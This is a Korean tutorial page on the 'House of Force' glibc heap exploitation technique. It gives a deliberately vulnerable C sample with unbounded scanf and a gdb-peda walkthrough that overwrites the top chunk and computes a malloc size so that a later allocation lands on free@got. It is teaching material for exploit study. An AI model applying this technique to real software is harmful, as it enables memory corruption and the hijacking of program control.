Excuse the ads! We need some help to keep our site up.
List
The House of Force
Conditions
- 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
- 공격자에 의해 Top chunk영역에 값을 덮어쓸 수 있어야 합니다.
- 공격자에 의해 할당되는 Heap 크기를 제어 할 수 있어야 합니다.
- 공격자에 의해 할당된 Chunk 영역에 값을 저장 할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
- Heap 영역을 생성합니다.
- Top chunk를 0xffffffffffffffff으로 덮어씁니다.
- 다음과 같이 계산된 값을 Malloc()의 인자 값으로 전달해 메모리를 할당 합니다.
- Target address - Allocated chunk header size(8/4) - Top chunk address
- 또 다시 Malloc()를 호출합니다.
- 공격자가 할당받기 원하던 영역이 할당됩니다.
Example
Files
Source code
- 해당 함수는 다음과 같은 기능을 합니다.
- 프로그램에서 3개의 Heap 영역을 할당합니다.
- 생성된 Heap 영역은 사용자에 의해 길이 제한없이 값을 저장 할 수 있습니다.
- 할당된 영역은 free()함수에 의해 모두 해제됩니다.
Sample code
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char *argv[]) { int size; char *buf1, *buf2, *buf3; buf1 = malloc(256); printf("buf1 : "); scanf("%s",buf1); printf("Size : "); scanf("%d",&size); buf2 = malloc(size); printf("buf3 : "); buf3 = malloc(256); scanf("%s",buf3); free(buf3); free(buf2); free(buf1); return 0; }
Exploit flow
The House of Force
Debugging
- 다음과 같이 Break point를 설정합니다.
0x40066f : 1번째 scanf() 함수 호출 후
0x40069c : 2번째 malloc() 함수 호출 전
0x4006be : 3번째 malloc() 함수 호출 후
Break points
gdb-peda$ b *0x000000000040066f Breakpoint 1 at 0x40066f gdb-peda$ b *0x000000000040069c Breakpoint 2 at 0x40069c gdb-peda$ b *0x00000000004006be Breakpoint 3 at 0x4006be gdb-peda$
- 다음과 같이 사용자 입력 값에 의해 Top chunk의 값을 덮어 쓸 수 있습니다.
- 사용자로 부터 입력받는 문자열에 대한 길이 제한이 없기 때문에 Top chunk를 덮어 쓸 수 있습니다.
- Top chunk를 덮어쓰기 위한 문자열의 길이 : "A" * 264 + "B" * 8
- 나는 테스트를 위해 'B' 문자 8개를 Top chunk에 저장하였습니다.
- 공격자는 "House of Force" 기법을 사용하기 위해 Top chunk영역에 "0xffffffffffffffff" 값을 저장해야 합니다.
- 여기에서는 set 명령어를 이용해 Top chunk의 값을 변경하겠습니다.
- 사용자로 부터 입력받는 문자열에 대한 길이 제한이 없기 때문에 Top chunk를 덮어 쓸 수 있습니다.
Overwrite the Top chunk
gdb-peda$ r Starting program: /home/lazenca0x0/force buf1 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB Breakpoint 1, 0x000000000040066f in main () gdb-peda$ x/40gx 0x602010 - 0x10 0x602000: 0x0000000000000000 0x0000000000000111 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0x4141414141414141 0x602030: 0x4141414141414141 0x4141414141414141 0x602040: 0x4141414141414141 0x4141414141414141 0x602050: 0x4141414141414141 0x4141414141414141 0x602060: 0x4141414141414141 0x4141414141414141 0x602070: 0x4141414141414141 0x4141414141414141 0x602080: 0x4141414141414141 0x4141414141414141 0x602090: 0x4141414141414141 0x4141414141414141 0x6020a0: 0x4141414141414141 0x4141414141414141 0x6020b0: 0x4141414141414141 0x4141414141414141 0x6020c0: 0x4141414141414141 0x4141414141414141 0x6020d0: 0x4141414141414141 0x4141414141414141 0x6020e0: 0x4141414141414141 0x4141414141414141 0x6020f0: 0x4141414141414141 0x4141414141414141 0x602100: 0x4141414141414141 0x4141414141414141 0x602110: 0x4141414141414141 0x4242424242424242 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 gdb-peda$ set * 0x602118 = 0xffffffff gdb-peda$ set * 0x60211c = 0xffffffff gdb-peda$ x/gx 0x602118 0x602118: 0xffffffffffffffff gdb-peda$
- 다음과 같이 계산된 값을 malloc()함수의 인자 값으로 전달 합니다.
- 원하는 Memory 영역을 할당받기 위해 다음과 같이 계산된 값을 Mallo()함수의 인자 값으로 전달합니다.
- "할당 받기 원하는 주소" - "Chunk header size(16 or 8)" - Top chunk address
- free()함수의 got 영역을 공격 대상으로 설정하고 진행하겠습니다.
"free@got(0x601018)" - "Chunk header size(0x10)" - "Top chunk address(0x602118)" - 0x8 = 0xffffeee8
- 해당 연산에서 0x8을 빼는 이유는 Heap 할당 영역은 0x*0 단위로 할당 되기 때문입니다.
- 이렇게 연산된 값을 Set 명령어를 이용해 rdi 레지스터에 저장합니다.
set $rdi = 0xffffffffffffeee8
할당 예상 영역 : -3476(0xffffffffffffeee8) + 0x602110 + 0x10 +0x8 = 0x600ff8
- malloc() 함수를 호출하면 첫번째 Heap 영역 뒤에 생성된 것을 확인 할 수 있습니다.
- 해당 Heap 크기는 0xffffffffffffeef1 입니다.
- Top chunk 영역 : -4376(0xffffffffffffeef1) + 0x602110 + 0x8 = 0x601000
- 원하는 Memory 영역을 할당받기 위해 다음과 같이 계산된 값을 Mallo()함수의 인자 값으로 전달합니다.
Set the heap size
gdb-peda$ c Continuing. Size : 1 Breakpoint 2, 0x000000000040069c in main () gdb-peda$ elfsymbol free Detail symbol info free@reloc = 0 free@plt = 0x4004e0 free@got = 0x601018 gdb-peda$ p/x 0x601018 - 0x10 - 0x602118 - 0x8 $1 = 0xffffeee8 gdb-peda$ set $rdi = 0xffffffffffffeee8 gdb-peda$ i r rdi rdi 0xffffffffffffeee8 0xffffffffffffeee8 gdb-peda$ ni 0x00000000004006a1 in main () gdb-peda$ i r rax rax 0x602120 0x602120 gdb-peda$ x/30gx 0x602120 - 0x10 0x602110: 0x4141414141414141 0xffffffffffffeef1 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x0000000000000000 0x6021d0: 0x0000000000000000 0x0000000000000000 0x6021e0: 0x0000000000000000 0x0000000000000000 0x6021f0: 0x0000000000000000 0x0000000000000000 gdb-peda$ p/d 0xffffffffffffeee8 $2 = -4376 gdb-peda$ p/d 0xffffffffffffeef1 $3 = -4367 gdb-peda$ p/x -4376 + 0x602110 + 0x10 +0x8 $4 = 0x601010 gdb-peda$ p/x -4367 + 0x602110 - 0x1 $5 = 0x601000
- 다음과 같이 또 한번 Heap 영역을 할당 받으면 "free@got" 영역을 할당 받을 수 있습니다.
- 할당 받은 영역은 scanf() 함수에 의해 사용자 입력값을 저장 할 수 있습니다.
Allocate the ".got" area
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004006be in main () gdb-peda$ i r rax rax 0x601010 0x601010 gdb-peda$ x/10gx 0x601010 - 0x10 0x601000: 0x0000000000600e28 0x0000000000000111 0x601010: 0x00007ffff7df0670 0x00000000004004e6 0x601020 <printf@got.plt>: 0x00007ffff7a65340 0x00007ffff7a32e50 0x601030 <__gmon_start__@got.plt>: 0x0000000000400516 0x00007ffff7a93a80 0x601040 <__isoc99_scanf@got.plt>: 0x00007ffff7a6ed10 0x0000000000000000 gdb-peda$ x/gx 0x601010 + 0x8 0x601018 <free@got.plt>: 0x00000000004004e6 gdb-peda$
Related information
- https://github.com/shellphish/how2heap
- https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/